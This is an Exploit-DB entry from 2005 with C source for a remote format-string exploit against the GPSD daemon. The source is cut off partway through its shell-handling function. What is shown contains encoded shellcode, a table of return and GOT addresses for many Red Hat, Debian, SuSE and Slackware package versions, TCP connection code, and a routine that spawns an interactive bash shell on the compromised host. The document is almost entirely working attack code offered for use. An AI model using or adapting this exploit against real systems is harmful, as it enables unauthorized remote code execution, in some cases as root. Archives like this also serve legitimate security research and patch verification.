Exploit-DB #775
Description: Berlios GPSD 2.7.x - Remote Format String
Type: remote
Platform: linux
Date: 2005-01-26
Author: JohnH

Exploit:
/* Added }, on line 75 /str0ke /*
/** 
 ** Copyright Johnh and KF 2005
 ** 
 ** Gpsd remote format string exploit
 ** By: Johnh[at]digitalmunition[dot]com
 ** Bug Found By: kf[at]digitalmunition[dot]com
 ** http://www.digitalmunition.com/DMA[2005-0125a].txt
 **
 ** Features: Version ident
 **
 ** Debian machines provide uid=gpsd
 ** Redhat machines provide uid=root
 **
 ** Lots of JUMP_SLOT's provided but 
 ** You can get or brute the shellcode 
 ** addresses yourself.
 **/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);


struct
{
    unsigned long  retloc; /* retloc of syslog */
    unsigned long   retaddr;
    char    *szDescription;
}targets[] =
    {

	// Brute the rest of the addresses your self...
	// syslog() , shellcode , version
        {0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
        {0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
        {0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
        {0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
        {0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
        {0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
        {0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
        {0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
        {0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
        {0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
        {0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
        {0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
        {0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
        {0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
        {0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
	{0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
        {0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"},
        {0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7  "}, 
        {0x41424344,0xdeadbeef, "Debug              "}, 

    },v;



int             iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";



//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
    int                     sock,
    flag,
    pe = 0;
    size_t                  pe_len;
    struct timeval          tv;
    struct sockaddr_in      addr;
    struct hostent*         hp = NULL;
    fd_set                  rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
        perror ("tcpConnect:gethostbyname\n");
        return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
        perror ("tcpConnect:socket\n");
        return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }
    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    if (connect (sock, (const struct sockaddr *) &addr,
                 sizeof(addr)) < 0 &&
            errno != EINPROGRESS) {
        perror ("tcpConnect:connect\n");
        close (sock);
        return -1;
    }

    /* set connect timeout
     * use millisecond
     */
    tv.tv_sec = timeout/1000;
    tv.tv_usec = timeout%1000;
    FD_ZERO (&rset);
    FD_SET (sock, &rset);

    if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
        //                perror ("tcpConnect:select");
        close (sock);
        return -1;
    }

    pe_len = sizeof (pe);

    if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
        perror ("tcpConnect:getsockopt\n");
        close (sock);
        return -1;
    }

    if (pe != 0) {
        errno = pe;
        close (sock);
        return -1;
    }

    if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    pe = 1;
    pe_len = sizeof (pe);

    if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
        perror ("tcpConnect:setsockopt\n");
        close (sock);
        return -1;
    }
    return sock;
}


void sh(int st_sock_va)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;
    memset((char *)readbuf,0,sizeof(readbuf));
    fprintf(stdout,"[*] Executed shell successfully !\n\n");
    send(st_sock_va,command,strlen(command),0);

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(st_sock_va,&rset);